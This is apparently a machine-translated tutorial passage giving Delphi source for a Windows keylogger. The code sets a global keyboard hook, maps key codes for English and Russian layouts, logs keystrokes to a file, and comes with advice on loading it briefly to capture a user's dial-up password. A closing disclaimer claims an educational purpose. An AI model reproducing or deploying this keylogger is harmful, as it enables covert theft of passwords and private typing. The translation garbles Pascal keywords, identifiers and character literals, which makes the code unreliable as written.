फ़ंक्शन KProc(कोड: पूर्णांक; wParam: Word; lParam: LongInt): LongInt; एसटीडीकॉल;
कॉन्स्ट
केस्टेट: पूर्णांक = 1073741824; //कोड
"कुंजी दबायी गयी"

वर
सिमव: शॉर्टस्ट्रिंग;
केएल: चार की सरणी; //के लिए
कीबोर्ड लेआउट की जाँच करना

एफस्ट्रक्चर: टॉफस्ट्रक्चर;
एफ: टेक्स्टफ़ाइल;
//चर
लॉग रिकॉर्ड करने के लिए फ़ाइल।

शुरू

// अनावश्यक चीजों को हटा दें
संदेशों
यदि (lParam और KState)<>0 तो
शुरू

बाहर निकलना;
अंत;

AssignFile(F, "keylog.txt");

// खोलने का प्रयास कर रहा हूँ
फ़ाइल "keylog.txt":
यदि OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR तो
शुरू
पुनः लिखें(एफ);
// यदि फ़ाइल नहीं है
बनाया - हम बनाते हैं।

अंत
अन्यथा जोड़ें(एफ);
//यदि है तो लिखें
अंत।

सिमव:=chr(0); //शून्य पर रीसेट करें
कुंजीपटल से पढ़ा गया प्रतीक का चर।

// कोड का विश्लेषण करें
कुंजी दबायी गयी
केस wParam का
// संख्याएँ
48..57: Simv:=Chr(wParam);
96: सिमव:='0';
97: सिमव:='1';
...
104: सिमव:='8';
105: सिमव:='9';
189,109: सिमव:='-';
110: सिमव:='';
111: सिमव:='/';
अंत;

GetKeyboardLayoutName(KL); //
लेआउट की जाँच करना

यदि केएल = "00000409" तो // अगर
लैटिन:

शुरू
केस wParam का
219: सिमव:='[';
221: सिमव:=']';
186: सिमव:=';';
222: सिमव:='''';
188: सिम्व:='';
190: सिमव:='';
191: सिमव:='/';
65..90: Simv:=Chr(wParam);
अंत;
अंत;
अंत;
यदि केएल = "00000419" तो
// अगर
रूसी

शुरू
केस wParam का
219: सिमव:='एक्स';
221: Simv:='Ъ';
186: सिमव:='एफ';
222: सिमव:='ई';
188: सिमव:='बी';
190: सिम्व:='यू';
191: सिमव:='';
65: सिमव:='एफ';
...
87: सिमव:='सी';
88: सिमव:='एच';
89: सिमव:='एन';
90: सिमव:='मैं';
अंत;

//यदि प्रतीक खाली नहीं है (अर्थात्
यदि अल्फ़ान्यूमेरिक कुंजी दबायी गयी हो)
// फिर इसे एक फ़ाइल में लिखें
यदि सिमव<>"" तब
लिखें(एफ, सिमव);
//फ़ाइल बंद करें
क्लोज़फ़ाइल(एफ);

//संदेश भेजें
सिस्टम में अन्य जाल
परिणाम:=CallNextHookEx(KHook, कोड, wParam, lParam);
अंत;

शुरू
//जाल सेट करें
कीबोर्ड संदेशों को इंटरसेप्ट करने के लिए.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

इस कार्यक्रम को सरल भी बनाया जा सकता है
आवेदन के आधार पर - यदि
मान लीजिए कि आपको केवल एक बार गिनने की आवश्यकता है
डायलर से पासवर्ड - फिर आप सेट कर सकते हैं
जब तक हमें इसकी आवश्यकता न हो, और जब इसकी आवश्यकता हो, तब तक खिड़कियों की जाँच करना
सक्रिय हो जाएगा - लाइब्रेरी लोड करें
key1.dll, एक निश्चित समय तक प्रतीक्षा करें
जिसमें उपयोगकर्ता के पास इन अक्षरों को टाइप करने का समय होगा
कीबोर्ड और फिर लाइब्रेरी को अनलोड करें
कार्यक्रम समाप्त करें. कुछ इस तरह :)

hINSTAGE=LoadLibrary('key1.dll');
नींद(10000);
// इसके लिए 10 सेकंड प्रतीक्षा करें
जिस समय उपयोगकर्ता पासवर्ड टाइप करेगा।
// समय के आधार पर बढ़ाया जा सकता है
उपयोगकर्ता के निषेध के स्तर पर निर्भर करता है
// और कीबोर्ड पर उसकी टाइपिंग स्पीड :)

फ्रीलाइब्रेरी(hINSTAGE);

पुनश्च: उपरोक्त सभी सामग्री दी गई थी
विशेष रूप से डेमो और के साथ
सामान्य शैक्षिक लक्ष्य, लेखक ने निर्धारित किये
मेरे पास प्रदर्शित करने का एक कार्य है
"उन्नत" प्रकार का प्रोग्राम एल्गोरिदम
कीलॉगर" और सभी
इसके उपयोग की जिम्मेदारी
सामग्री आपके ऊपर गिरती है (भारी
बोझ 🙂) कोड के कार्यान्वयन में शामिल है
छोटी-मोटी अशुद्धियाँ जो वास्तव में नुकसान नहीं पहुँचातीं
एल्गोरिदम - उन्हें स्वयं खोजने का प्रयास करें))।

पीएसएस: बेशक, एक कीलॉगर ही नहीं कर सकता
इसका मुख्य कार्य करें -
वास्तव में लॉग में बटन दबाने पर भी लिखें
अपनी आवश्यकता के अनुसार दबाई गई कुंजियों के मान बदलें
स्वाद - लेकिन यह कैसे करें और इसके लिए क्या है
बस महत्वपूर्ण हो सकता है - में
अगली बार :)

विषय पर प्रकाशन